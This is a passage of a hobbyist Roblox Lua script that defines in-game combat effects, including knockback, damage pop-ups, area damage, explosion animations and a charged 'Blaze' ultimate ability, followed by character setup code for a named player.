1213 | hum.PlatformStand=true | |
1214 | coroutine.resume(coroutine.create(function(HHumanoid) | |
1215 | swait(1) | |
1216 | HHumanoid.PlatformStand=false | |
1217 | end),hum) | |
1218 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
1219 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
1220 | local bodvol=Instance.new("BodyVelocity") | |
1221 | bodvol.velocity=angle*knockback | |
1222 | bodvol.P=5000 | |
1223 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
1224 | bodvol.Parent=hit | |
1225 | rl=Instance.new("BodyAngularVelocity") | |
1226 | rl.P=3000 | |
1227 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1228 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
1229 | rl.Parent=hit | |
1230 | game:GetService("Debris"):AddItem(bodvol,.5) | |
1231 | game:GetService("Debris"):AddItem(rl,.5) | |
1232 | elseif Type=="Normal" then | |
1233 | vp=Instance.new("BodyVelocity") | |
1234 | vp.P=500 | |
1235 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
1236 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
1237 | if KnockbackType==1 then | |
1238 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
1239 | elseif KnockbackType==2 then | |
1240 | vp.velocity=Property.CFrame.lookVector*knockback | |
1241 | end | |
1242 | if knockback>0 then | |
1243 | vp.Parent=hit.Parent.Torso | |
1244 | end | |
1245 | game:GetService("Debris"):AddItem(vp,.5) | |
1246 | elseif Type=="Up" then | |
1247 | local bodyVelocity=Instance.new("BodyVelocity") | |
1248 | bodyVelocity.velocity=vt(0,10,0) | |
1249 | bodyVelocity.P=1000 | |
1250 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
1251 | bodyVelocity.Parent=hit | |
1252 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
1253 | rl=Instance.new("BodyAngularVelocity") | |
1254 | rl.P=3000 | |
1255 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1256 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
1257 | rl.Parent=hit | |
1258 | game:GetService("Debris"):AddItem(rl,.5) | |
1259 | elseif Type=="Snare" then | |
1260 | bp=Instance.new("BodyPosition") | |
1261 | bp.P=2000 | |
1262 | bp.D=100 | |
1263 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1264 | bp.position=hit.Parent.Torso.Position | |
1265 | bp.Parent=hit.Parent.Torso | |
1266 | game:GetService("Debris"):AddItem(bp,1) | |
1267 | elseif Type=="Target" then | |
1268 | if Targetting==false then | |
1269 | ZTarget=hit.Parent.Torso | |
1270 | coroutine.resume(coroutine.create(function(Part) | |
1271 | swait(5) | |
1272 | end),ZTarget) | |
1273 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
1274 | targetgui=Instance.new("BillboardGui") | |
1275 | targetgui.Parent=ZTarget | |
1276 | targetgui.Size=UDim2.new(10,100,10,100) | |
1277 | targ=Instance.new("ImageLabel") | |
1278 | targ.Parent=targetgui | |
1279 | targ.BackgroundTransparency=1 | |
1280 | targ.Image="rbxassetid://4834067" | |
1281 | targ.Size=UDim2.new(1,0,1,0) | |
1282 | cam.CameraType="Scriptable" | |
1283 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1284 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1285 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1286 | Targetting=true | |
1287 | RocketTarget=ZTarget | |
1288 | for i=1,Property do | |
1289 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
1290 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
1291 | swait() | |
1292 | end | |
1293 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
1294 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1295 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1296 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
1297 | end | |
1298 | Targetting=false | |
1299 | RocketTarget=nil | |
1300 | targetgui.Parent=nil | |
1301 | cam.CameraType="Custom" | |
1302 | end | |
1303 | end | |
1304 | debounce=Instance.new("BoolValue") | |
1305 | debounce.Name="DebounceHit" | |
1306 | debounce.Parent=hit.Parent | |
1307 | debounce.Value=true | |
1308 | game:GetService("Debris"):AddItem(debounce,Delay) | |
1309 | c=Instance.new("ObjectValue") | |
1310 | c.Name="creator" | |
1311 | c.Value=Player | |
1312 | c.Parent=h | |
1313 | game:GetService("Debris"):AddItem(c,.5) | |
1314 | CRIT=false | |
1315 | hitDeb=true | |
1316 | AttackPos=6 | |
1317 | end | |
1318 | end | |
1319 | ||
1320 | showDamage=function(Char,Dealt,du,Color) | |
1321 | m=Instance.new("Model") | |
1322 | m.Name=tostring(Dealt) | |
1323 | h=Instance.new("Humanoid") | |
1324 | h.Health=0 | |
1325 | h.MaxHealth=0 | |
1326 | h.Parent=m | |
1327 | c=Instance.new("Part") | |
1328 | c.Transparency=0 | |
1329 | c.Material = "Neon" | |
1330 | c.BrickColor=bc("New Yeller") | |
1331 | c.Name="Head" | |
1332 | c.TopSurface=0 | |
1333 | c.BottomSurface=0 | |
1334 | local tick = Instance.new("Sound",c) | |
1335 | tick.SoundId = "rbxassetid://12221976" | |
1336 | tick.Volume = 5 | |
1337 | tick.Pitch = 4 | |
1338 | tick:Play() | |
1339 | c.formFactor="Plate" | |
1340 | c.Size=Vector3.new(1,.4,1) | |
1341 | ms=Instance.new("CylinderMesh") | |
1342 | ms.Scale=Vector3.new(.8,.8,.8) | |
1343 | if CRIT==true then | |
1344 | ms.Scale=Vector3.new(1,1.25,1) | |
1345 | end | |
1346 | ms.Parent=c | |
1347 | c.Reflectance=0 | |
1348 | Instance.new("BodyGyro").Parent=c | |
1349 | c.Parent=m | |
1350 | if Char:findFirstChild("Head")~=nil then | |
1351 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1352 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
1353 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1354 | end | |
1355 | f=Instance.new("BodyPosition") | |
1356 | f.P=2000 | |
1357 | f.D=100 | |
1358 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1359 | f.position=c.Position+Vector3.new(0,3,0) | |
1360 | f.Parent=c | |
1361 | game:GetService("Debris"):AddItem(m,.5+du) | |
1362 | c.CanCollide=false | |
1363 | m.Parent=workspace | |
1364 | c.CanCollide=false | |
1365 | p:Destroy() | |
1366 | end | |
1367 | ||
1368 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
1369 | for _, c in pairs(workspace:children()) do | |
1370 | local hum = c:findFirstChild("Humanoid") | |
1371 | if hum ~= nil then | |
1372 | local head = c:findFirstChild("Torso") | |
1373 | if head ~= nil then | |
1374 | local targ = head.Position - Part.Position | |
1375 | local mag = targ.magnitude | |
1376 | if mag <= magni and c.Name ~= Player.Name then | |
1377 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
1378 | end | |
1379 | end | |
1380 | end | |
1381 | end | |
1382 | end | |
1383 | ||
1384 | function Explode(rad,par) | |
1385 | local expart = Instance.new("Part",script.Parent) | |
1386 | local expart2 = Instance.new("Part",script.Parent) | |
1387 | local partMesh = Instance.new("SpecialMesh",expart) | |
1388 | partMesh.MeshType = "Sphere" | |
1389 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1390 | partMesh2.MeshType = "Sphere" | |
1391 | local expld = Instance.new("Explosion", script.Parent) | |
1392 | local plode = Instance.new("Sound",expart) | |
1393 | plode.SoundId = "rbxassetid://165970126" | |
1394 | plode.Volume = 1 | |
1395 | plode.Pitch = 1 | |
1396 | plode.Looped = false | |
1397 | plode:Play() | |
1398 | expld.BlastRadius = rad | |
1399 | expld.Position = par.Position | |
1400 | partMesh.Scale = vt(rad,rad,rad) | |
1401 | expart.Size = vt(1,1,1)*1.5 | |
1402 | expart.Transparency = 0 | |
1403 | expart.Anchored = true | |
1404 | expart.Material = "Neon" | |
1405 | expart.BrickColor = bc("White") | |
1406 | expart.CFrame = par.CFrame | |
1407 | partMesh2.Scale = vt(rad,rad,rad) | |
1408 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1409 | expart2.Transparency = 0.5 | |
1410 | expart2.Anchored = true | |
1411 | expart2.Material = "Neon" | |
1412 | expart2.BrickColor = bc("New Yeller") | |
1413 | expart2.CFrame = par.CFrame | |
1414 | local value = 1*rad/6.5 | |
1415 | par:Destroy() | |
1416 | for i = 0, 100 do | |
1417 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1418 | expart.CFrame = expart.CFrame | |
1419 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1420 | expart2.CFrame = expart.CFrame | |
1421 | value = value - 0.035*rad/6.5 | |
1422 | if value < 1 then | |
1423 | value = 0.25 | |
1424 | expart.Transparency = expart.Transparency + 0.025 | |
1425 | expart2.Transparency = expart2.Transparency + 0.025 | |
1426 | end | |
1427 | wait() | |
1428 | end | |
1429 | plode.Parent = nil | |
1430 | expart.Parent = nil | |
1431 | expart2.Parent = nil | |
1432 | expld.Parent = nil | |
1433 | end | |
1434 | ||
1435 | function ExplodeMass(rad,par) | |
1436 | local expart = Instance.new("Part",script.Parent) | |
1437 | local expart2 = Instance.new("Part",script.Parent) | |
1438 | local partMesh = Instance.new("SpecialMesh",expart) | |
1439 | partMesh.MeshType = "Sphere" | |
1440 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1441 | partMesh2.MeshType = "Sphere" | |
1442 | local expld = Instance.new("Explosion", script.Parent) | |
1443 | local plode = Instance.new("Sound",workspace) | |
1444 | plode.SoundId = "rbxassetid://579687077" | |
1445 | plode.Volume = 1 | |
1446 | plode.Pitch = 0.85 | |
1447 | plode.Looped = false | |
1448 | plode:Play() | |
1449 | local plodez = Instance.new("Sound",workspace) | |
1450 | plodez.SoundId = "rbxassetid://288641686" | |
1451 | plodez.Volume = 1 | |
1452 | plodez.Pitch = 0.75 | |
1453 | plodez.Looped = false | |
1454 | plodez:Play() | |
1455 | local plodeza = Instance.new("Sound",workspace) | |
1456 | plodeza.SoundId = "rbxassetid://197161452" | |
1457 | plodeza.Volume = 0.85 | |
1458 | plodeza.Pitch = 0.65 | |
1459 | plodeza.Looped = false | |
1460 | plodeza:Play() | |
1461 | local plodezar = Instance.new("Sound",workspace) | |
1462 | plodezar.SoundId = "rbxassetid://197161452" | |
1463 | plodezar.Volume = 0.85 | |
1464 | plodezar.Pitch = 0.25 | |
1465 | plodezar.Looped = false | |
1466 | plodezar:Play() | |
1467 | expld.BlastRadius = rad | |
1468 | expld.Position = par.Position | |
1469 | wait(0.5) | |
1470 | par:Destroy() | |
1471 | plode.Parent = nil | |
1472 | expart.Parent = nil | |
1473 | expart2.Parent = nil | |
1474 | expld.Parent = nil | |
1475 | end | |
1476 | function ExplodeMassen(rad,par) | |
1477 | local expart = Instance.new("Part",script.Parent) | |
1478 | local expart2 = Instance.new("Part",script.Parent) | |
1479 | local partMesh = Instance.new("SpecialMesh",expart) | |
1480 | partMesh.MeshType = "Sphere" | |
1481 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1482 | partMesh2.MeshType = "Sphere" | |
1483 | local expld = Instance.new("Explosion", script.Parent) | |
1484 | local plode = Instance.new("Sound",workspace) | |
1485 | plode.SoundId = "rbxassetid://579687077" | |
1486 | plode.Volume = 1 | |
1487 | plode.Pitch = 0.85 | |
1488 | plode.Looped = false | |
1489 | plode:Play() | |
1490 | local plodez = Instance.new("Sound",workspace) | |
1491 | plodez.SoundId = "rbxassetid://288641686" | |
1492 | plodez.Volume = 1 | |
1493 | plodez.Pitch = 0.75 | |
1494 | plodez.Looped = false | |
1495 | plodez:Play() | |
1496 | local plodeza = Instance.new("Sound",workspace) | |
1497 | plodeza.SoundId = "rbxassetid://197161452" | |
1498 | plodeza.Volume = 0.85 | |
1499 | plodeza.Pitch = 0.65 | |
1500 | plodeza.Looped = false | |
1501 | plodeza:Play() | |
1502 | local plodezar = Instance.new("Sound",workspace) | |
1503 | plodezar.SoundId = "rbxassetid://197161452" | |
1504 | plodezar.Volume = 0.85 | |
1505 | plodezar.Pitch = 0.25 | |
1506 | plodezar.Looped = false | |
1507 | plodezar:Play() | |
1508 | expld.BlastRadius = rad | |
1509 | expld.Position = par.Position | |
1510 | partMesh.Scale = vt(rad,rad,rad) | |
1511 | expart.Size = vt(1,1,1)*1.5 | |
1512 | expart.Transparency = 0 | |
1513 | expart.Anchored = true | |
1514 | expart.Material = "Neon" | |
1515 | expart.BrickColor = bc("White") | |
1516 | expart.CFrame = par.CFrame | |
1517 | partMesh2.Scale = vt(rad,rad,rad) | |
1518 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1519 | expart2.Transparency = 0.5 | |
1520 | expart2.Anchored = true | |
1521 | expart2.Material = "Neon" | |
1522 | expart2.BrickColor = tors.BrickColor | |
1523 | expart2.CFrame = par.CFrame | |
1524 | local value = 1*rad/10 | |
1525 | par:Destroy() | |
1526 | for i = 0, 300 do | |
1527 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1528 | expart.CFrame = expart.CFrame | |
1529 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1530 | expart2.CFrame = expart.CFrame | |
1531 | value = value - 0.0175*rad/10 | |
1532 | if value <= 0 then | |
1533 | expart.Transparency = expart.Transparency + 0.0125 | |
1534 | expart2.Transparency = expart2.Transparency + 0.0125 | |
1535 | value = 0.25 | |
1536 | end | |
1537 | wait() | |
1538 | end | |
1539 | plode.Parent = nil | |
1540 | expart.Parent = nil | |
1541 | expart2.Parent = nil | |
1542 | expld.Parent = nil | |
1543 | end | |
1544 | local Ultramode = false | |
1545 | ||
1546 | function Transform() | |
1547 | if basiccooldown >= 5 then | |
1548 | hum.WalkSpeed = 0 | |
1549 | local sparta = Instance.new("Part",workspace) | |
1550 | local msher = Instance.new("SpecialMesh",sparta) | |
1551 | msher.MeshType = "Sphere" | |
1552 | msher.Scale = vt(1,1,1) | |
1553 | wit = BrickColor.new("White").Color | |
1554 | local glowz = Instance.new("ParticleEmitter") | |
1555 | glowz.LightEmission = 1 | |
1556 | glowz.Parent = sparta | |
1557 | glowz.Texture = "rbxassetid://284205403" | |
1558 | glowz.Color = ColorSequence.new(wit) | |
1559 | glowz.Size = NumberSequence.new(15) | |
1560 | glowz.Speed = NumberRange.new(100,250) | |
1561 | glowz.LockedToPart = false | |
1562 | glowz.Transparency = NumberSequence.new(0.75) | |
1563 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1564 | glowz.Lifetime = NumberRange.new(1) | |
1565 | glowz.Rate = 50000 | |
1566 | glowz.VelocitySpread = 9001 | |
1567 | local sa2 = Instance.new("Sound",sparta) | |
1568 | sa2.SoundId = "rbxassetid://93724183" | |
1569 | sa2.Pitch = 0.5 | |
1570 | sa2.Volume = 5 | |
1571 | sa2.Looped = false | |
1572 | sa2:Play() | |
1573 | local saz2 = Instance.new("Sound",sparta) | |
1574 | saz2.SoundId = "rbxassetid://199145659" | |
1575 | saz2.Pitch = 0.45 | |
1576 | saz2.Volume = 5*2 | |
1577 | saz2.Looped = false | |
1578 | local plode = Instance.new("Sound",sparta) | |
1579 | plode.SoundId = "rbxassetid://153274423" | |
1580 | plode.Volume = 5 | |
1581 | plode.Pitch = 1 | |
1582 | plode.Looped = false | |
1583 | local ploder = Instance.new("Sound",sparta) | |
1584 | ploder.SoundId = "rbxassetid://130972023" | |
1585 | ploder.Volume = 5 | |
1586 | ploder.Pitch = 1 | |
1587 | ploder.Looped = false | |
1588 | sparta.Size = vt(1,1,1) | |
1589 | sparta.BrickColor = BrickColor.new("White") | |
1590 | sparta.Material = "Neon" | |
1591 | sparta.Transparency = 0 | |
1592 | sparta.Anchored = true | |
1593 | sparta.CanCollide = false | |
1594 | sparta.CFrame = tors.CFrame | |
1595 | sparta.Rotation = vt(0,0,0) | |
1596 | local value2 = 2 | |
1597 | for i = 0, 24 do | |
1598 | value2 = value2 - 0.065 | |
1599 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1600 | wait() | |
1601 | end | |
1602 | for i = 0, 10 do | |
1603 | value2 = value2 + 0.06575 | |
1604 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1605 | wait() | |
1606 | end | |
1607 | for i = 0, 10 do | |
1608 | value2 = value2 - 0.2 | |
1609 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1610 | wait() | |
1611 | end | |
1612 | for i = 0, 10 do | |
1613 | value2 = value2 + 0.275 | |
1614 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1615 | wait() | |
1616 | end | |
1617 | for i = 0, 10 do | |
1618 | value2 = value2 - 0.4 | |
1619 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1620 | wait() | |
1621 | end | |
1622 | for i = 0, 10 do | |
1623 | value2 = value2 + 0.475 | |
1624 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1625 | wait() | |
1626 | end | |
1627 | for i = 0, 10 do | |
1628 | value2 = value2 - 0.6 | |
1629 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1630 | wait() | |
1631 | end | |
1632 | for i = 0, 10 do | |
1633 | value2 = value2 + 0.675 | |
1634 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1635 | wait() | |
1636 | end | |
1637 | for i = 0, 10 do | |
1638 | value2 = value2 - 0.7 | |
1639 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1640 | wait() | |
1641 | end | |
1642 | for i = 0, 10 do | |
1643 | value2 = value2 + 0.775 | |
1644 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1645 | wait() | |
1646 | end | |
1647 | saz2:Play() | |
1648 | wait(2.75) | |
1649 | plode:Play() | |
1650 | ploder:Play() | |
1651 | Ultramode = true | |
1652 | for i = 0, 75 do | |
1653 | value2 = value2 - 0.0575 | |
1654 | glowz.Rate = 0 | |
1655 | sparta.Transparency = sparta.Transparency + 0.025 | |
1656 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1657 | wait() | |
1658 | end | |
1659 | hum.WalkSpeed = 16 | |
1660 | sparta:Destroy() | |
1661 | end | |
1662 | end | |
1663 | ||
1664 | ||
1665 | function Blaze2() | |
1666 | if ultcooldown >= 30 then | |
1667 | local sloc = Instance.new("Part",workspace) | |
1668 | local msh = Instance.new("SpecialMesh",sloc) | |
1669 | msh.MeshType = "Sphere" | |
1670 | sloc.Size = vt(1,1,1) | |
1671 | sloc.Transparency = 1 | |
1672 | sloc.BrickColor = tors.BrickColor | |
1673 | sloc.Position = hed.Position + vt(0,0.1,0) | |
1674 | sloc.CanCollide = false | |
1675 | sloc.Shape = "Ball" | |
1676 | sloc.Anchored = true | |
1677 | sloc.Material = "Neon" | |
1678 | local s = Instance.new("Sound",char) | |
1679 | s.SoundId = "rbxassetid://289315275" | |
1680 | s.Pitch = 1 | |
1681 | s.Volume = 2.75 | |
1682 | s.Looped = false | |
1683 | s:Play() | |
1684 | local s2 = Instance.new("Sound",char) | |
1685 | s2.SoundId = "rbxassetid://671759140" | |
1686 | s2.Pitch = 0.425 | |
1687 | s2.Volume = 1 | |
1688 | s2.Looped = false | |
1689 | s2:Play() | |
1690 | local val = 0.65*5 | |
1691 | for i = 0 , 75 do | |
1692 | sloc.Transparency = sloc.Transparency - 0.035 | |
1693 | msh.Scale = msh.Scale + vt(val,val,val) | |
1694 | val = val - 0.0075*5 | |
1695 | wait() | |
1696 | end | |
1697 | wait(2) | |
1698 | local sen = Instance.new("Sound",char) | |
1699 | sen.SoundId = "rbxassetid://289315275" | |
1700 | sen.Pitch = 1 | |
1701 | sen.Volume = 2.75 | |
1702 | sen.Looped = false | |
1703 | sen:Play() | |
1704 | local tick = Instance.new("Sound",char) | |
1705 | tick.SoundId = "rbxassetid://446876721" | |
1706 | tick.Volume = 2.5 | |
1707 | tick.Pitch = 0.5 | |
1708 | tick:Play() | |
1709 | msh.Scale = msh.Scale - vt(1,1,1) | |
1710 | sloc.Transparency = sloc.Transparency + 0.015 | |
1711 | local spart = Instance.new("Part",workspace) | |
1712 | local msh2 = Instance.new("SpecialMesh",spart) | |
1713 | msh2.MeshType = "Sphere" | |
1714 | spart.Size = vt(2,2,2) | |
1715 | spart.Shape = "Ball" | |
1716 | spart.BrickColor = tors.BrickColor | |
1717 | spart.Material = "Neon" | |
1718 | spart.Transparency = 0 | |
1719 | spart.Anchored = false | |
1720 | msh2.Scale = msh.Scale/2 | |
1721 | spart.Rotation = hed.Rotation | |
1722 | spart.CanCollide = false | |
1723 | spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0)) | |
1724 | local bv = Instance.new("BodyVelocity") | |
1725 | bv.maxForce = Vector3.new(1e9, 1e9, 1e9) | |
1726 | bv.velocity = mouse.Hit.lookVector * 125 | |
1727 | bv.Parent = spart | |
1728 | sloc:Destroy() | |
1729 | wait(0.00001) | |
1730 | pewdiepie=spart.Touched:connect(function(hit) | |
1731 | ExplodeMassen(100,spart) | |
1732 | end) | |
1733 | wait(5) | |
1734 | sloc:Destroy() | |
1735 | tick:Destroy() | |
1736 | s:Destroy() | |
1737 | sen:Destroy() | |
1738 | s2:Destroy() | |
1739 | end | |
1740 | if ultcooldown < 1 then | |
1741 | for i = 0, 29 do | |
1742 | ultcooldown = ultcooldown + 1 | |
1743 | wait(1) | |
1744 | end | |
1745 | end | |
1746 | end | |
1747 | ||
1748 | function Blaze() | |
1749 | if ultcooldown >= 30 then | |
1750 | local ff = Instance.new("ForceField",char) | |
1751 | local s = Instance.new("Sound",char) | |
1752 | s.SoundId = "rbxassetid://289315275" | |
1753 | s.Pitch = 1 | |
1754 | s.Volume = 2.75 | |
1755 | s.Looped = false | |
1756 | s:Play() | |
1757 | local s2 = Instance.new("Sound",char) | |
1758 | s2.SoundId = "rbxassetid://671759140" | |
1759 | s2.Pitch = 0.425 | |
1760 | s2.Volume = 1 | |
1761 | s2.Looped = false | |
1762 | s2:Play() | |
1763 | local spart = boll:Clone() | |
1764 | local spart2 = shur:Clone() | |
1765 | local msh = Instance.new("SpecialMesh",spart) | |
1766 | msh.MeshType = "Sphere" | |
1767 | spart.Parent = workspace | |
1768 | spart.Transparency = 1 | |
1769 | spart.Anchored = true | |
1770 | spart.Position = tors.Position + vt(0,1,0) | |
1771 | spart.Size = spart.Size + vt(1,1,1) | |
1772 | for i = 0, 10 do | |
1773 | spart.BrickColor = tors.BrickColor | |
1774 | spart.Transparency = spart.Transparency + -0.05 | |
1775 | spart.Position = tors.Position + vt(0,1,0) | |
1776 | spart.Size = spart.Size + vt(3,3,3) | |
1777 | wait(0) | |
1778 | end | |
1779 | for i = 0, 5 do | |
1780 | spart.BrickColor = tors.BrickColor | |
1781 | spart.Transparency = spart.Transparency + -0.05 | |
1782 | spart.Position = tors.Position + vt(0,1,0) | |
1783 | spart.Size = spart.Size + vt(2.5,2.5,2.5) | |
1784 | wait(0) | |
1785 | end | |
1786 | for i = 0, 5 do | |
1787 | spart.BrickColor = tors.BrickColor | |
1788 | spart.Transparency = spart.Transparency + -0.05 | |
1789 | spart.Position = tors.Position + vt(0,1,0) | |
1790 | spart.Size = spart.Size + vt(1,1,1) | |
1791 | wait(0) | |
1792 | end | |
1793 | for i = 0, 10 do | |
1794 | spart.BrickColor = tors.BrickColor | |
1795 | wait(0.1) | |
1796 | end | |
1797 | for i = 0, 20 do | |
1798 | spart.BrickColor = tors.BrickColor | |
1799 | spart.Transparency = spart.Transparency + 0.05 | |
1800 | spart.Position = tors.Position + vt(0,1,0) | |
1801 | spart.Size = spart.Size + vt(-5,-5,-5) | |
1802 | wait(0) | |
1803 | end | |
1804 | local sp = spart:Clone() | |
1805 | sp.Parent = workspace | |
1806 | sp.Position = spart.Position | |
1807 | local sp2 = sp:Clone() | |
1808 | sp2.Parent = workspace | |
1809 | sp2.Transparency = 0.5 | |
1810 | local msh2 = sp2.Mesh | |
1811 | msh2.Scale = vt(1250,1250,1250) | |
1812 | wit = tors.BrickColor.Color | |
1813 | local glowz = Instance.new("ParticleEmitter") | |
1814 | glowz.LightEmission = 0.75 | |
1815 | glowz.Parent = sp2 | |
1816 | glowz.Texture = "rbxassetid://284205403" | |
1817 | glowz.Color = ColorSequence.new(wit) | |
1818 | glowz.Size = NumberSequence.new(50) | |
1819 | glowz.Speed = NumberRange.new(425,450) | |
1820 | glowz.LockedToPart = false | |
1821 | glowz.Transparency = NumberSequence.new(0.75) | |
1822 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1823 | glowz.Lifetime = NumberRange.new(1) | |
1824 | glowz.Rate = 50000 | |
1825 | glowz.VelocitySpread = 9001 | |
1826 | spart2.Parent = workspace | |
1827 | spart2.Mesh.Scale = vt(25, 90000, 25) | |
1828 | spart2.Position = tors.Position | |
1829 | local seen = Instance.new("Sound",char) | |
1830 | seen.SoundId = "rbxassetid://445796828" | |
1831 | seen.Pitch = 0.75 | |
1832 | seen.Volume = 1.75 | |
1833 | seen.Looped = true | |
1834 | seen:Play() | |
1835 | local sen = Instance.new("Sound",char) | |
1836 | sen.SoundId = "rbxassetid://289315275" | |
1837 | sen.Pitch = 0.98 | |
1838 | sen.Volume = 2.65 | |
1839 | sen.Looped = false | |
1840 | sen:Play() | |
1841 | local tick = Instance.new("Sound",char) | |
1842 | tick.SoundId = "rbxassetid://446876721" | |
1843 | tick.Volume = 5 | |
1844 | tick.Pitch = 0.5 | |
1845 | tick:Play() | |
1846 | local seena = Instance.new("Sound",char) | |
1847 | seena.SoundId = "rbxassetid://300916057" | |
1848 | seena.Pitch = 0.5 | |
1849 | seena.Volume = 2.5 | |
1850 | seena.Looped = false | |
1851 | seena:Play() | |
1852 | spart.Transparency = 0 | |
1853 | ExplodeMass(1000,sp) | |
1854 | for i = 0, 450 do | |
1855 | spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1)) | |
1856 | sp2.Position = spart.Position | |
1857 | spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035) | |
1858 | spart2.BrickColor = tors.BrickColor | |
1859 | msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5) | |
1860 | msh.Scale = msh.Scale + vt(50,50,50) | |
1861 | sp2.Transparency = sp2.Transparency + 0.0005 | |
1862 | spart.Transparency = spart.Transparency + 0.0025 | |
1863 | spart2.Transparency = spart2.Transparency + 0.0025 | |
1864 | wait(0) | |
1865 | end | |
1866 | spart:Destroy() | |
1867 | seena:Destroy() | |
1868 | ff:Destroy() | |
1869 | seen:Destroy() | |
1870 | sen:Destroy() | |
1871 | tick:Destroy() | |
1872 | spart2:Destroy() | |
1873 | s:Destroy() | |
1874 | sp:Destroy() | |
1875 | sp2:Destroy() | |
1876 | s2:Destroy() | |
1877 | end | |
1878 | if ultcooldown < 1 then | |
1879 | for i = 0, 29 do | |
1880 | ultcooldown = ultcooldown + 1 | |
1881 | wait(1) | |
1882 | end | |
1883 | end | |
1884 | end | |
1885 | ||
1886 | -- sin | |
1887 | Player=game:GetService("Players").ThatProGamerKilledU | |
1888 | Character=Player.Character | |
1889 | PlayerGui=Player.PlayerGui | |
1890 | Backpack=Player.Backpack | |
1891 | Torso=Character.Torso | |
1892 | Head=Character.Head | |
1893 | Humanoid=Character.Humanoid | |
1894 | m=Instance.new('Model',Character) | |
1895 | LeftArm=Character["Left Arm"] | |
1896 | LeftLeg=Character["Left Leg"] | |
1897 | RightArm=Character["Right Arm"] | |
1898 | RightLeg=Character["Right Leg"] | |
1899 | LS=Torso["Left Shoulder"] | |
1900 | LH=Torso["Left Hip"] | |
1901 | RS=Torso["Right Shoulder"] | |
1902 | RH=Torso["Right Hip"] | |
1903 | Face = Head.face | |
1904 | Neck=Torso.Neck | |
1905 | it=Instance.new | |
1906 | attacktype=1 | |
1907 | vt=Vector3.new | |
1908 | cf=CFrame.new | |
1909 | euler=CFrame.fromEulerAnglesXYZ | |
1910 | angles=CFrame.Angles | |
1911 | cloaked=false | |
1912 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1913 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1914 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
1915 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
1916 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
1917 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
1918 | RootPart=Character.HumanoidRootPart | |
1919 | RootJoint=RootPart.RootJoint | |
1920 | RootCF=euler(-1.57,0,3.14) | |
1921 | attack = false | |
1922 | attackdebounce = false | |
1923 | deb=false | |
1924 | equipped=true | |
1925 | hand=false | |
